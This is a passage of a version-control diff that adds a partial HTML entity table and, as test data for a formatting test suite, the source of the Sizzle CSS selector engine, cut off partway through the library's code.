+pi	    | 960	### greek small letter pi,  u+03C0 ISOgrk3 
+rho	    | 961	### greek small letter rho,  u+03C1 ISOgrk3 
+sigmaf	| 962	### greek small letter final sigma,  u+03C2 ISOgrk3 
+sigma	| 963	### greek small letter sigma,  u+03C3 ISOgrk3 
+tau	    | 964	### greek small letter tau,  u+03C4 ISOgrk3 
+upsilon	| 965	### greek small letter upsilon,  u+03C5 ISOgrk3 
+phi	    | 966	### greek small letter phi,  u+03C6 ISOgrk3 
+chi	    | 967	### greek small letter chi,  u+03C7 ISOgrk3 
+psi	    | 968	### greek small letter psi,  u+03C8 ISOgrk3 
+omega	| 969	### greek small letter omega,  u+03C9 ISOgrk3 
+thetasym| 977	### greek small letter theta symbol,  u+03D1 NEW 
+upsih	| 978	### greek upsilon with hook symbol,  u+03D2 NEW 
+piv	    | 982	### greek pi symbol,  u+03D6 ISOgrk3 
+bull	| 8226	### bullet, =black small circle, u+2022 ISOpub  
+hellip	| 8230	### horizontal ellipsis, =three dot leader, u+2026 ISOpub  
+prime	| 8242	### prime, =minutes, =feet, u+2032 ISOtech 
+Prime	| 8243	### double prime, =seconds, =inches, u+2033 ISOtech 
+oline	| 8254	### overline, =spacing overscore, u+203E NEW 
+frasl	| 8260	### fraction slash, u+2044 NEW 
+weierp	| 8472	### script capital P, =power set, =Weierstrass p, u+2118 ISOamso 
+image	| 8465	### blackletter capital I, =imaginary part, u+2111 ISOamso 
+real	| 8476	### blackletter capital R, =real part symbol, u+211C ISOamso 
+trade	| 8482	### trade mark sign, u+2122 ISOnum 
+alefsym	| 8501	### alef symbol, =first transfinite cardinal, u+2135 NEW 
+larr	| 8592	### leftwards arrow, u+2190 ISOnum 
+uarr	| 8593	### upwards arrow, u+2191 ISOnum
+rarr	| 8594	### rightwards arrow, u+2192 ISOnum 
+darr	| 8595	### downwards arrow, u+2193 ISOnum 
+harr	| 8596	### left right arrow, u+2194 ISOamsa 
+crarr	| 8629	### downwards arrow with corner leftwards, =carriage return, u+21B5 NEW 
+lArr	| 8656	### leftwards double arrow, u+21D0 ISOtech 
+uArr	| 8657	### upwards double arrow, u+21D1 ISOamsa 
+rArr	| 8658	### rightwards double arrow, u+21D2 ISOtech 
+dArr	| 8659	### downwards double arrow, u+21D3 ISOamsa 
+hArr	| 8660	### left right double arrow, u+21D4 ISOamsa 
+forall	| 8704	### for all, u+2200 ISOtech 
+part	| 8706	### partial differential, u+2202 ISOtech  
+exist	| 8707	### there exists, u+2203 ISOtech 
+empty	| 8709	### empty set, =null set, =diameter, u+2205 ISOamso 
+nabla	| 8711	### nabla, =backward difference, u+2207 ISOtech 
+isin	| 8712	### element of, u+2208 ISOtech 
+notin	| 8713	### not an element of, u+2209 ISOtech 
+ni	    | 8715	### contains as member, u+220B ISOtech 
+prod	| 8719	### n-ary product, =product sign, u+220F ISOamsb 
+sum	    | 8721	### n-ary sumation, u+2211 ISOamsb 
+minus	| 8722	### minus sign, u+2212 ISOtech 
+lowast	| 8727	### asterisk operator, u+2217 ISOtech 
+radic	| 8730	### square root, =radical sign, u+221A ISOtech 
+prop	| 8733	### proportional to, u+221D ISOtech 
+infin	| 8734	### infinity, u+221E ISOtech 
+ang	    | 8736	### angle, u+2220 ISOamso 
+and	    | 8743	### logical and, =wedge, u+2227 ISOtech 
+or	    | 8744	### logical or, =vee, u+2228 ISOtech 
+cap	    | 8745	### intersection, =cap, u+2229 ISOtech 
+cup	    | 8746	### union, =cup, u+222A ISOtech 
+int	    | 8747	### integral, u+222B ISOtech 
+there4	| 8756	### therefore, u+2234 ISOtech 
+sim	    | 8764	### tilde operator, =varies with, =similar to, u+223C ISOtech 
+cong	| 8773	### approximately equal to, u+2245 ISOtech 
+asymp	| 8776	### almost equal to, =asymptotic to, u+2248 ISOamsr 
+ne	    | 8800	### not equal to, u+2260 ISOtech 
+equiv	| 8801	### identical to, u+2261 ISOtech 
+le	    | 8804	### less-than or equal to, u+2264 ISOtech 
+ge	    | 8805	### greater-than or equal to, u+2265 ISOtech 
+sub	    | 8834	### subset of, u+2282 ISOtech 
+sup	    | 8835	### superset of, u+2283 ISOtech 
+nsub	| 8836	### not a subset of, u+2284 ISOamsn 
+sube	| 8838	### subset of or equal to, u+2286 ISOtech 
+supe	| 8839	### superset of or equal to, u+2287 ISOtech 
+oplus	| 8853	### circled plus, =direct sum, u+2295 ISOamsb 
+otimes	| 8855	### circled times, =vector product, u+2297 ISOamsb 
+perp	| 8869	### up tack, =orthogonal to, =perpendicular, u+22A5 ISOtech 
+sdot	| 8901	### dot operator, u+22C5 ISOamsb 
+lceil	| 8968	### left ceiling, =apl upstile, u+2308, ISOamsc  
+rceil	| 8969	### right ceiling, u+2309, ISOamsc  
+lfloor	| 8970	### left floor, =apl downstile, u+230A, ISOamsc  
+rfloor	| 8971	### right floor, u+230B, ISOamsc  
+lang	| 9001	### left-pointing angle bracket, =bra, u+2329 ISOtech 
+rang	| 9002	### right-pointing angle bracket, =ket, u+232A ISOtech 
+loz	    | 9674	### lozenge, u+25CA ISOpub 
+spades	| 9824	### black spade suit, u+2660 ISOpub 
+clubs	| 9827	### black club suit, =shamrock, u+2663 ISOpub 
+hearts	| 9829	### black heart suit, =valentine, u+2665 ISOpub 
+diams	| 9830	### black diamond suit, u+2666 ISOpub 
+quot	| 34	### quotation mark, =apl quote, u+0022 ISOnum 
+amp	    | 38	### ampersand, u+0026 ISOnum 
+lt	    | 60	### less-than sign, u+003C ISOnum 
+gt	    | 62	### greater-than sign, u+003E ISOnum 
+OElig	| 338	### latin capital ligature oe, u+0152 ISOlat2 
+oelig	| 339	### latin small ligature oe, u+0153 ISOlat2 
+Scaron	| 352	### latin capital letter s with caron, u+0160 ISOlat2 
+scaron	| 353	### latin small letter s with caron, u+0161 ISOlat2 
+Yuml	| 376	### latin capital letter y with diaeresis, u+0178 ISOlat2 
+circ	| 710	### modifier letter circumflex accent, u+02C6 ISOpub 
+tilde	| 732	### small tilde, u+02DC ISOdia 
+ensp	| 8194	### en space, u+2002 ISOpub 
+emsp	| 8195	### em space, u+2003 ISOpub 
+thinsp	| 8201	### thin space, u+2009 ISOpub 
+zwnj	| 8204	### zero width non-joiner, u+200C NEW RFC 2070 
+zwj	    | 8205	### zero width joiner, u+200D NEW RFC 2070 
+lrm	    | 8206	### left-to-right mark, u+200E NEW RFC 2070 
+rlm	    | 8207	### right-to-left mark, u+200F NEW RFC 2070 
+ndash	| 8211	### en dash, u+2013 ISOpub 
+mdash	| 8212	### em dash, u+2014 ISOpub 
+lsquo	| 8216	### left single quotation mark, u+2018 ISOnum 
+rsquo	| 8217	### right single quotation mark, u+2019 ISOnum 
+sbquo	| 8218	### single low-9 quotation mark, u+201A NEW 
+ldquo	| 8220	### left double quotation mark, u+201C ISOnum 
+rdquo	| 8221	### right double quotation mark, u+201D ISOnum 
+bdquo	| 8222	### double low-9 quotation mark, u+201E NEW 
+dagger	| 8224	### dagger, u+2020 ISOpub 
+Dagger	| 8225	### double dagger, u+2021 ISOpub 
+permil	| 8240	### per mille sign, u+2030 ISOtech 
+lsaquo	| 8249	### single left-pointing angle quotation mark; proposed but not yet standardised
+rsaquo	| 8250	### single right-pointing angle quotation mark; proposed but not yet standardised
Index: /tags/4.1.6/tests/phpunit/data/formatting/sizzle.js
===================================================================
--- /tags/4.1.6/tests/phpunit/data/formatting/sizzle.js	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/formatting/sizzle.js	(revision 33402)
@@ -0,0 +1,1445 @@
+/*!
+ * Sizzle CSS Selector Engine
+ *  Copyright 2011, The Dojo Foundation
+ *  Released under the MIT, BSD, and GPL Licenses.
+ *  More information: http://sizzlejs.com/
+ */
+(function(){
+
+var chunker = /((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,
+	expando = "sizcache" + (Math.random() + '').replace('.', ''),
+	done = 0,
+	toString = Object.prototype.toString,
+	hasDuplicate = false,
+	baseHasDuplicate = true,
+	rBackslash = /\\/g,
+	rReturn = /\r\n/g,
+	rNonWord = /\W/;
+
+// Here we check if the JavaScript engine is using some sort of
+// optimization where it does not always call our comparision
+// function. If that is the case, discard the hasDuplicate value.
+//   Thus far that includes Google Chrome.
+[0, 0].sort(function() {
+	baseHasDuplicate = false;
+	return 0;
+});
+
+var Sizzle = function( selector, context, results, seed ) {
+	results = results || [];
+	context = context || document;
+
+	var origContext = context;
+
+	if ( context.nodeType !== 1 && context.nodeType !== 9 ) {
+		return [];
+	}
+
+	if ( !selector || typeof selector !== "string" ) {
+		return results;
+	}
+
+	var m, set, checkSet, extra, ret, cur, pop, i,
+		prune = true,
+		contextXML = Sizzle.isXML( context ),
+		parts = [],
+		soFar = selector;
+
+	// Reset the position of the chunker regexp (start from head)
+	do {
+		chunker.exec( "" );
+		m = chunker.exec( soFar );
+
+		if ( m ) {
+			soFar = m[3];
+
+			parts.push( m[1] );
+
+			if ( m[2] ) {
+				extra = m[3];
+				break;
+			}
+		}
+	} while ( m );
+
+	if ( parts.length > 1 && origPOS.exec( selector ) ) {
+
+		if ( parts.length === 2 && Expr.relative[ parts[0] ] ) {
+			set = posProcess( parts[0] + parts[1], context, seed );
+
+		} else {
+			set = Expr.relative[ parts[0] ] ?
+				[ context ] :
+				Sizzle( parts.shift(), context );
+
+			while ( parts.length ) {
+				selector = parts.shift();
+
+				if ( Expr.relative[ selector ] ) {
+					selector += parts.shift();
+				}
+
+				set = posProcess( selector, set, seed );
+			}
+		}
+
+	} else {
+		// Take a shortcut and set the context if the root selector is an ID
+		// (but not if it'll be faster if the inner selector is an ID)
+		if ( !seed && parts.length > 1 && context.nodeType === 9 && !contextXML &&
+				Expr.match.ID.test(parts[0]) && !Expr.match.ID.test(parts[parts.length - 1]) ) {
+
+			ret = Sizzle.find( parts.shift(), context, contextXML );
+			context = ret.expr ?
+				Sizzle.filter( ret.expr, ret.set )[0] :
+				ret.set[0];
+		}
+
+		if ( context ) {
+			ret = seed ?
+				{ expr: parts.pop(), set: makeArray(seed) } :
+				Sizzle.find( parts.pop(), parts.length === 1 && (parts[0] === "~" || parts[0] === "+") && context.parentNode ? context.parentNode : context, contextXML );
+
+			set = ret.expr ?
+				Sizzle.filter( ret.expr, ret.set ) :
+				ret.set;
+
+			if ( parts.length > 0 ) {
+				checkSet = makeArray( set );
+
+			} else {
+				prune = false;
+			}
+
+			while ( parts.length ) {
+				cur = parts.pop();
+				pop = cur;
+
+				if ( !Expr.relative[ cur ] ) {
+					cur = "";
+				} else {
+					pop = parts.pop();
+				}
+
+				if ( pop == null ) {
+					pop = context;
+				}
+
+				Expr.relative[ cur ]( checkSet, pop, contextXML );
+			}
+
+		} else {
+			checkSet = parts = [];
+		}
+	}
+
+	if ( !checkSet ) {
+		checkSet = set;
+	}
+
+	if ( !checkSet ) {
+		Sizzle.error( cur || selector );
+	}
+
+	if ( toString.call(checkSet) === "[object Array]" ) {
+		if ( !prune ) {
+			results.push.apply( results, checkSet );
+
+		} else if ( context && context.nodeType === 1 ) {
+			for ( i = 0; checkSet[i] != null; i++ ) {
+				if ( checkSet[i] && (checkSet[i] === true || checkSet[i].nodeType === 1 && Sizzle.contains(context, checkSet[i])) ) {
+					results.push( set[i] );
+				}
+			}
+
+		} else {
+			for ( i = 0; checkSet[i] != null; i++ ) {
+				if ( checkSet[i] && checkSet[i].nodeType === 1 ) {
+					results.push( set[i] );
+				}
+			}
+		}
+
+	} else {
+		makeArray( checkSet, results );
+	}
+
+	if ( extra ) {
+		Sizzle( extra, origContext, results, seed );
+		Sizzle.uniqueSort( results );
+	}
+
+	return results;
+};
+
+Sizzle.uniqueSort = function( results ) {
+	if ( sortOrder ) {
+		hasDuplicate = baseHasDuplicate;
+		results.sort( sortOrder );
+
+		if ( hasDuplicate ) {
+			for ( var i = 1; i < results.length; i++ ) {
+				if ( results[i] === results[ i - 1 ] ) {
+					results.splice( i--, 1 );
+				}
+			}
+		}
+	}
+
+	return results;
+};
+
+Sizzle.matches = function( expr, set ) {
+	return Sizzle( expr, null, null, set );
+};
+
+Sizzle.matchesSelector = function( node, expr ) {
+	return Sizzle( expr, null, null, [node] ).length > 0;
+};
+
+Sizzle.find = function( expr, context, isXML ) {
+	var set, i, len, match, type, left;
+
+	if ( !expr ) {
+		return [];
+	}
+
+	for ( i = 0, len = Expr.order.length; i < len; i++ ) {
+		type = Expr.order[i];
+
+		if ( (match = Expr.leftMatch[ type ].exec( expr )) ) {
+			left = match[1];
+			match.splice( 1, 1 );
+
+			if ( left.substr( left.length - 1 ) !== "\\" ) {
+				match[1] = (match[1] || "").replace( rBackslash, "" );
+				set = Expr.find[ type ]( match, context, isXML );
+
+				if ( set != null ) {
+					expr = expr.replace( Expr.match[ type ], "" );
+					break;
+				}
+			}
+		}
+	}
+
+	if ( !set ) {
+		set = typeof context.getElementsByTagName !== "undefined" ?
+			context.getElementsByTagName( "*" ) :
+			[];
+	}
+
+	return { set: set, expr: expr };
+};
+
+Sizzle.filter = function( expr, set, inplace, not ) {
+	var match, anyFound,
+		type, found, item, filter, left,
+		i, pass,
+		old = expr,
+		result = [],
+		curLoop = set,
+		isXMLFilter = set && set[0] && Sizzle.isXML( set[0] );
+
+	while ( expr && set.length ) {
+		for ( type in Expr.filter ) {
+			if ( (match = Expr.leftMatch[ type ].exec( expr )) != null && match[2] ) {
+				filter = Expr.filter[ type ];
+				left = match[1];
+
+				anyFound = false;
+
+				match.splice(1,1);
+
+				if ( left.substr( left.length - 1 ) === "\\" ) {
+					continue;
+				}
+
+				if ( curLoop === result ) {
+					result = [];
+				}
+
+				if ( Expr.preFilter[ type ] ) {
+					match = Expr.preFilter[ type ]( match, curLoop, inplace, result, not, isXMLFilter );
+
+					if ( !match ) {
+						anyFound = found = true;
+
+					} else if ( match === true ) {
+						continue;
+					}
+				}
+
+				if ( match ) {
+					for ( i = 0; (item = curLoop[i]) != null; i++ ) {
+						if ( item ) {
+							found = filter( item, match, i, curLoop );
+							pass = not ^ found;
+
+							if ( inplace && found != null ) {
+								if ( pass ) {
+									anyFound = true;
+
+								} else {
+									curLoop[i] = false;
+								}
+
+							} else if ( pass ) {
+								result.push( item );
+								anyFound = true;
+							}
+						}
+					}
+				}
+
+				if ( found !== undefined ) {
+					if ( !inplace ) {
+						curLoop = result;
+					}
+
+					expr = expr.replace( Expr.match[ type ], "" );
+
+					if ( !anyFound ) {
+						return [];
+					}
+
+					break;
+				}
+			}
+		}
+
+		// Improper expression
+		if ( expr === old ) {
+			if ( anyFound == null ) {
+				Sizzle.error( expr );
+
+			} else {
+				break;
+			}
+		}
+
+		old = expr;
+	}
+
+	return curLoop;
+};
+
+Sizzle.error = function( msg ) {
+	throw new Error( "Syntax error, unrecognized expression: " + msg );
+};
+
+/**
+ * Utility function for retreiving the text value of an array of DOM nodes
+ * @param {Array|Element} elem
+ */
+var getText = Sizzle.getText = function( elem ) {
+    var i, node,
+		nodeType = elem.nodeType,
+		ret = "";
+
+	if ( nodeType ) {
+		if ( nodeType === 1 || nodeType === 9 || nodeType === 11 ) {
+			// Use textContent || innerText for elements
+			if ( typeof elem.textContent === 'string' ) {
+				return elem.textContent;
+			} else if ( typeof elem.innerText === 'string' ) {
+				// Replace IE's carriage returns
+				return elem.innerText.replace( rReturn, '' );
+			} else {
+				// Traverse it's children
+				for ( elem = elem.firstChild; elem; elem = elem.nextSibling) {
+					ret += getText( elem );
+				}
+			}
+		} else if ( nodeType === 3 || nodeType === 4 ) {
+			return elem.nodeValue;
+		}
+	} else {
+
+		// If no nodeType, this is expected to be an array
+		for ( i = 0; (node = elem[i]); i++ ) {
+			// Do not traverse comment nodes
+			if ( node.nodeType !== 8 ) {
+				ret += getText( node );
+			}
+		}
+	}
+	return ret;
+};
+
+var Expr = Sizzle.selectors = {
+	order: [ "ID", "NAME", "TAG" ],
+
+	match: {
+		ID: /#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,
+		CLASS: /\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,
+		NAME: /\[name=['"]*((?:[\w\u00c0-\uFFFF\-]|\\.)+)['"]*\]/,
+		ATTR: /\[\s*((?:[\w\u00c0-\uFFFF\-]|\\.)+)\s*(?:(\S?=)\s*(?:(['"])(.*?)\3|(#?(?:[\w\u00c0-\uFFFF\-]|\\.)*)|)|)\s*\]/,
+		TAG: /^((?:[\w\u00c0-\uFFFF\*\-]|\\.)+)/,
+		CHILD: /:(only|nth|last|first)-child(?:\(\s*(even|odd|(?:[+\-]?\d+|(?:[+\-]?\d*)?n\s*(?:[+\-]\s*\d+)?))\s*\))?/,
+		POS: /:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^\-]|$)/,
+		PSEUDO: /:((?:[\w\u00c0-\uFFFF\-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/
+	},
+
+	leftMatch: {},
+
+	attrMap: {
+		"class": "className",
+		"for": "htmlFor"
+	},
+
+	attrHandle: {
+		href: function( elem ) {
+			return elem.getAttribute( "href" );
+		},
+		type: function( elem ) {
+			return elem.getAttribute( "type" );
+		}
+	},
+
+	relative: {
+		"+": function(checkSet, part){
+			var isPartStr = typeof part === "string",
+				isTag = isPartStr && !rNonWord.test( part ),
+				isPartStrNotTag = isPartStr && !isTag;
+
+			if ( isTag ) {
+				part = part.toLowerCase();
+			}
+
+			for ( var i = 0, l = checkSet.length, elem; i < l; i++ ) {
+				if ( (elem = checkSet[i]) ) {
+					while ( (elem = elem.previousSibling) && elem.nodeType !== 1 ) {}
+
+					checkSet[i] = isPartStrNotTag || elem && elem.nodeName.toLowerCase() === part ?
+						elem || false :
+						elem === part;
+				}
+			}
+
+			if ( isPartStrNotTag ) {
+				Sizzle.filter( part, checkSet, true );
+			}
+		},
+
+		">": function( checkSet, part ) {
+			var elem,
+				isPartStr = typeof part === "string",
+				i = 0,
+				l = checkSet.length;
+
+			if ( isPartStr && !rNonWord.test( part ) ) {
+				part = part.toLowerCase();
+
+				for ( ; i < l; i++ ) {
+					elem = checkSet[i];
+
+					if ( elem ) {
+						var parent = elem.parentNode;
+						checkSet[i] = parent.nodeName.toLowerCase() === part ? parent : false;
+					}
+				}
+
+			} else {
+				for ( ; i < l; i++ ) {
+					elem = checkSet[i];
+
+					if ( elem ) {
+						checkSet[i] = isPartStr ?
+							elem.parentNode :
+							elem.parentNode === part;
+					}
+				}
+
+				if ( isPartStr ) {
+					Sizzle.filter( part, checkSet, true );
+				}
+			}
+		},
+
+		"": function(checkSet, part, isXML){
+			var nodeCheck,
+				doneName = done++,
+				checkFn = dirCheck;
+
+			if ( typeof part === "string" && !rNonWord.test( part ) ) {
+				part = part.toLowerCase();
+				nodeCheck = part;
+				checkFn = dirNodeCheck;
+			}
+
+			checkFn( "parentNode", part, doneName, checkSet, nodeCheck, isXML );
+		},
+
+		"~": function( checkSet, part, isXML ) {
+			var nodeCheck,
+				doneName = done++,
+				checkFn = dirCheck;
+
+			if ( typeof part === "string" && !rNonWord.test( part ) ) {
+				part = part.toLowerCase();
+				nodeCheck = part;
+				checkFn = dirNodeCheck;
+			}
+
+			checkFn( "previousSibling", part, doneName, checkSet, nodeCheck, isXML );
+		}
+	},
+
+	find: {
+		ID: function( match, context, isXML ) {
+			if ( typeof context.getElementById !== "undefined" && !isXML ) {
+				var m = context.getElementById(match[1]);
+				// Check parentNode to catch when Blackberry 4.6 returns
+				// nodes that are no longer in the document #6963
+				return m && m.parentNode ? [m] : [];
+			}
+		},
+
+		NAME: function( match, context ) {
+			if ( typeof context.getElementsByName !== "undefined" ) {
+				var ret = [],
+					results = context.getElementsByName( match[1] );
+
+				for ( var i = 0, l = results.length; i < l; i++ ) {
+					if ( results[i].getAttribute("name") === match[1] ) {
+						ret.push( results[i] );
+					}
+				}
+
+				return ret.length === 0 ? null : ret;
+			}
+		},
+
+		TAG: function( match, context ) {
+			if ( typeof context.getElementsByTagName !== "undefined" ) {
+				return context.getElementsByTagName( match[1] );
+			}
+		}
+	},
+	preFilter: {
+		CLASS: function( match, curLoop, inplace, result, not, isXML ) {
+			match = " " + match[1].replace( rBackslash, "" ) + " ";
+
+			if ( isXML ) {
+				return match;
+			}
+
+			for ( var i = 0, elem; (elem = curLoop[i]) != null; i++ ) {
+				if ( elem ) {
+					if ( not ^ (elem.className && (" " + elem.className + " ").replace(/[\t\n\r]/g, " ").indexOf(match) >= 0) ) {
+						if ( !inplace ) {
+							result.push( elem );
+						}
+
+					} else if ( inplace ) {
+						curLoop[i] = false;
+					}
+				}
+			}
+
+			return false;
+		},
+
+		ID: function( match ) {
+			return match[1].replace( rBackslash, "" );
+		},
+
+		TAG: function( match, curLoop ) {
+			return match[1].replace( rBackslash, "" ).toLowerCase();
+		},
+
+		CHILD: function( match ) {
+			if ( match[1] === "nth" ) {
+				if ( !match[2] ) {
+					Sizzle.error( match[0] );
+				}
+
+				match[2] = match[2].replace(/^\+|\s*/g, '');
+
+				// parse equations like 'even', 'odd', '5', '2n', '3n+2', '4n-1', '-n+6'
+				var test = /(-?)(\d*)(?:n([+\-]?\d*))?/.exec(
+					match[2] === "even" && "2n" || match[2] === "odd" && "2n+1" ||
+					!/\D/.test( match[2] ) && "0n+" + match[2] || match[2]);
+
+				// calculate the numbers (first)n+(last) including if they are negative
+				match[2] = (test[1] + (test[2] || 1)) - 0;
+				match[3] = test[3] - 0;
+			}
+			else if ( match[2] ) {
+				Sizzle.error( match[0] );
+			}
+
+			// TODO: Move to normal caching system
+			match[0] = done++;
+
+			return match;
+		},
+
+		ATTR: function( match, curLoop, inplace, result, not, isXML ) {
+			var name = match[1] = match[1].replace( rBackslash, "" );
+
+			if ( !isXML && Expr.attrMap[name] ) {
+				match[1] = Expr.attrMap[name];
+			}
+
+			// Handle if an un-quoted value was used
+			match[4] = ( match[4] || match[5] || "" ).replace( rBackslash, "" );
+
+			if ( match[2] === "~=" ) {
+				match[4] = " " + match[4] + " ";
+			}
+
+			return match;
+		},
+
+		PSEUDO: function( match, curLoop, inplace, result, not ) {
+			if ( match[1] === "not" ) {
+				// If we're dealing with a complex expression, or a simple one
+				if ( ( chunker.exec(match[3]) || "" ).length > 1 || /^\w/.test(match[3]) ) {
+					match[3] = Sizzle(match[3], null, null, curLoop);
+
+				} else {
+					var ret = Sizzle.filter(match[3], curLoop, inplace, true ^ not);
+
+					if ( !inplace ) {
+						result.push.apply( result, ret );
+					}
+
+					return false;
+				}
+
+			} else if ( Expr.match.POS.test( match[0] ) || Expr.match.CHILD.test( match[0] ) ) {
+				return true;
+			}
+
+			return match;
+		},
+
+		POS: function( match ) {
+			match.unshift( true );
+
+			return match;
+		}
+	},
+
+	filters: {
+		enabled: function( elem ) {
+			return elem.disabled === false && elem.type !== "hidden";
+		},
+
+		disabled: function( elem ) {
+			return elem.disabled === true;
+		},
+
+		checked: function( elem ) {
+			return elem.checked === true;
+		},
+
+		selected: function( elem ) {
+			// Accessing this property makes selected-by-default
+			// options in Safari work properly
+			if ( elem.parentNode ) {
+				elem.parentNode.selectedIndex;
+			}
+
+			return elem.selected === true;
+		},
+
+		parent: function( elem ) {
+			return !!elem.firstChild;
+		},
+
+		empty: function( elem ) {
+			return !elem.firstChild;
+		},
+
+		has: function( elem, i, match ) {
+			return !!Sizzle( match[3], elem ).length;
+		},
+
+		header: function( elem ) {
+			return (/h\d/i).test( elem.nodeName );
+		},
+
+		text: function( elem ) {
+			var attr = elem.getAttribute( "type" ), type = elem.type;
+			// IE6 and 7 will map elem.type to 'text' for new HTML5 types (search, etc)
+			// use getAttribute instead to test this case
+			return elem.nodeName.toLowerCase() === "input" && "text" === type && ( attr === type || attr === null );
+		},
+
+		radio: function( elem ) {
+			return elem.nodeName.toLowerCase() === "input" && "radio" === elem.type;
+		},
+
+		checkbox: function( elem ) {
+			return elem.nodeName.toLowerCase() === "input" && "checkbox" === elem.type;
+		},
+
+		file: function( elem ) {
+			return elem.nodeName.toLowerCase() === "input" && "file" === elem.type;
+		},
+
+		password: function( elem ) {
+			return elem.nodeName.toLowerCase() === "input" && "password" === elem.type;
+		},
+
+		submit: function( elem ) {
+			var name = elem.nodeName.toLowerCase();
+			return (name === "input" || name === "button") && "submit" === elem.type;
+		},
+
+		image: function( elem ) {
+			return elem.nodeName.toLowerCase() === "input" && "image" === elem.type;
+		},
+
+		reset: function( elem ) {
+			var name = elem.nodeName.toLowerCase();
+			return (name === "input" || name === "button") && "reset" === elem.type;
+		},
+
+		button: function( elem ) {
+			var name = elem.nodeName.toLowerCase();
+			return name === "input" && "button" === elem.type || name === "button";
+		},
+
+		input: function( elem ) {
+			return (/input|select|textarea|button/i).test( elem.nodeName );
+		},
+
+		focus: function( elem ) {
+			return elem === elem.ownerDocument.activeElement;
+		}
+	},
+	setFilters: {
+		first: function( elem, i ) {
+			return i === 0;
+		},
+
+		last: function( elem, i, match, array ) {
+			return i === array.length - 1;
+		},
+
+		even: function( elem, i ) {
+			return i % 2 === 0;
+		},
+
+		odd: function( elem, i ) {
+			return i % 2 === 1;
+		},
+
+		lt: function( elem, i, match ) {
+			return i < match[3] - 0;
+		},
+
+		gt: function( elem, i, match ) {
+			return i > match[3] - 0;
+		},
+
+		nth: function( elem, i, match ) {
+			return match[3] - 0 === i;
+		},
+
+		eq: function( elem, i, match ) {
+			return match[3] - 0 === i;
+		}
+	},
+	filter: {
+		PSEUDO: function( elem, match, i, array ) {
+			var name = match[1],
+				filter = Expr.filters[ name ];
+
+			if ( filter ) {
+				return filter( elem, i, match, array );
+
+			} else if ( name === "contains" ) {
+				return (elem.textContent || elem.innerText || getText([ elem ]) || "").indexOf(match[3]) >= 0;
+
+			} else if ( name === "not" ) {
+				var not = match[3];
+
+				for ( var j = 0, l = not.length; j < l; j++ ) {
+					if ( not[j] === elem ) {
+						return false;
+					}
+				}
+
+				return true;
+
+			} else {
+				Sizzle.error( name );
+			}
+		},
+
+		CHILD: function( elem, match ) {
+			var first, last,
+				doneName, parent, cache,
+				count, diff,
+				type = match[1],
+				node = elem;
+
+			switch ( type ) {
+				case "only":
+				case "first":
+					while ( (node = node.previousSibling) ) {
+						if ( node.nodeType === 1 ) {
+							return false;
+						}
+					}
+
+					if ( type === "first" ) {
+						return true;
+					}
+
+					node = elem;
+
+					/* falls through */
+				case "last":
+					while ( (node = node.nextSibling) ) {
+						if ( node.nodeType === 1 ) {
+							return false;
+						}
+					}
+
+					return true;
+
+				case "nth":
+					first = match[2];
+					last = match[3];
+
+					if ( first === 1 && last === 0 ) {
+						return true;
+					}
+
+					doneName = match[0];
+					parent = elem.parentNode;
+
+					if ( parent && (parent[ expando ] !== doneName || !elem.nodeIndex) ) {
+						count = 0;
+
+						for ( node = parent.firstChild; node; node = node.nextSibling ) {
+							if ( node.nodeType === 1 ) {
+								node.nodeIndex = ++count;
+							}
+						}
+
+						parent[ expando ] = doneName;
+					}
+
+					diff = elem.nodeIndex - last;
+
+					if ( first === 0 ) {
+						return diff === 0;
+
+					} else {
+						return ( diff % first === 0 && diff / first >= 0 );
+					}
+			}
+		},
+
+		ID: function( elem, match ) {
+			return elem.nodeType === 1 && elem.getAttribute("id") === match;
+		},
+
+		TAG: function( elem, match ) {
+			return (match === "*" && elem.nodeType === 1) || !!elem.nodeName && elem.nodeName.toLowerCase() === match;
+		},
+
+		CLASS: function( elem, match ) {
+			return (" " + (elem.className || elem.getAttribute("class")) + " ")
+				.indexOf( match ) > -1;
+		},
+
+		ATTR: function( elem, match ) {
+			var name = match[1],
+				result = Sizzle.attr ?
+					Sizzle.attr( elem, name ) :
+					Expr.attrHandle[ name ] ?
+					Expr.attrHandle[ name ]( elem ) :
+					elem[ name ] != null ?
+						elem[ name ] :
+						elem.getAttribute( name ),
+				value = result + "",
+				type = match[2],
+				check = match[4];
+
+			return result == null ?
+				type === "!=" :
+				!type && Sizzle.attr ?
+				result != null :
+				type === "=" ?
+				value === check :
+				type === "*=" ?
+				value.indexOf(check) >= 0 :
+				type === "~=" ?
+				(" " + value + " ").indexOf(check) >= 0 :
+				!check ?
+				value && result !== false :
+				type === "!=" ?
+				value !== check :
+				type === "^=" ?
+				value.indexOf(check) === 0 :
+				type === "$=" ?
+				value.substr(value.length - check.length) === check :
+				type === "|=" ?
+				value === check || value.substr(0, check.length + 1) === check + "-" :
+				false;
+		},
+
+		POS: function( elem, match, i, array ) {
+			var name = match[2],
+				filter = Expr.setFilters[ name ];
+
+			if ( filter ) {
+				return filter( elem, i, match, array );
+			}
+		}
+	}
+};
+
+var origPOS = Expr.match.POS,
+	fescape = function(all, num){
+		return "\\" + (num - 0 + 1);
+	};
+
+for ( var type in Expr.match ) {
+	Expr.match[ type ] = new RegExp( Expr.match[ type ].source + (/(?![^\[]*\])(?![^\(]*\))/.source) );
+	Expr.leftMatch[ type ] = new RegExp( /(^(?:.|\r|\n)*?)/.source + Expr.match[ type ].source.replace(/\\(\d+)/g, fescape) );
+}
+// Expose origPOS
+// "global" as in regardless of relation to brackets/parens
+Expr.match.globalPOS = origPOS;
+
+var makeArray = function( array, results ) {
+	array = Array.prototype.slice.call( array, 0 );
+
+	if ( results ) {
+		results.push.apply( results, array );
+		return results;
+	}
+
+	return array;
+};
+
+// Perform a simple check to determine if the browser is capable of
+// converting a NodeList to an array using builtin methods.
+// Also verifies that the returned array holds DOM nodes
+// (which is not the case in the Blackberry browser)
+try {
+	Array.prototype.slice.call( document.documentElement.childNodes, 0 )[0].nodeType;
+
+// Provide a fallback method if it does not work
+} catch( e ) {
+	makeArray = function( array, results ) {
+		var i = 0,
+			ret = results || [];
+
